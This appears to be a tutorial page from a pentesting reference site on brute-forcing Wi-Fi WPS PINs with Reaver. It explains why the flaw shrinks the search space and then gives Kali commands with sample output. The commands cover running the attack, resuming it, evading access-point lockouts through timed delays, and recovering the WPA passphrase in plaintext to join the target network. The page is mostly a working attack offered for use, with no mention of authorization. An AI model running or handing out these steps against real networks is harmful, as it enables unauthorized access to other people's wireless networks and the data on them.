Skip to content
HackIndex logo

HackIndex

WPS PIN Brute-Force with Reaver

3 min read Jul 10, 2026

The WPS PIN brute-force attack exploits a design flaw in the WPS protocol where the AP validates the two halves of the 8-digit PIN independently. This reduces the effective search space from 100 million combinations to around 11,000. Reaver automates the PIN enumeration process and recovers the WPA2 passphrase directly from the AP once the correct PIN is found. No handshake capture or cracking is involved.

Confirm the target AP has WPS enabled and unlocked using wash before starting. See the WPS detection page.

Basic PIN Brute-Force

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF
[+] Trying pin "12345670"
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message

-vv shows the full WPS exchange per attempt. Each PIN attempt takes between 3 and 10 seconds depending on the AP. A full brute-force of the first half (10,000 values) takes 4-11 hours. Once the first half is found, the second half (1,000 values) takes minutes.

Resume an Interrupted Session

Reaver saves progress automatically. To resume from where it stopped, run the same command again — it picks up from the last tested PIN automatically. To explicitly specify a starting PIN:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -p 12340000

Handle Rate Limiting and Timeouts

Many APs introduce delays or temporary locks after failed WPS attempts. Add a delay between attempts to avoid triggering the lock:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -d 5 -r 3:15

-d 5 adds a 5-second delay between each attempt. -r 3:15 tells reaver to rest for 15 seconds after every 3 attempts. Tune these values based on how quickly the AP starts refusing attempts. If the AP locks, stop and wait for the lock to expire before continuing.

Specify the Channel Explicitly

If reaver is having trouble associating, specify the channel directly to avoid channel hopping issues:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6

Successful Recovery

When reaver finds the correct PIN it prints both the PIN and the recovered WPA passphrase:

┌──(kali㉿kali)-[~]
└─$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
[+] WPS PIN: '12345670'
[+] WPA PSK: 'MyWifiPassword'
[+] AP SSID: 'TargetNetwork'

The WPA PSK is the network passphrase in plaintext. Use it to connect to the network directly with nmcli or wpa_supplicant.

References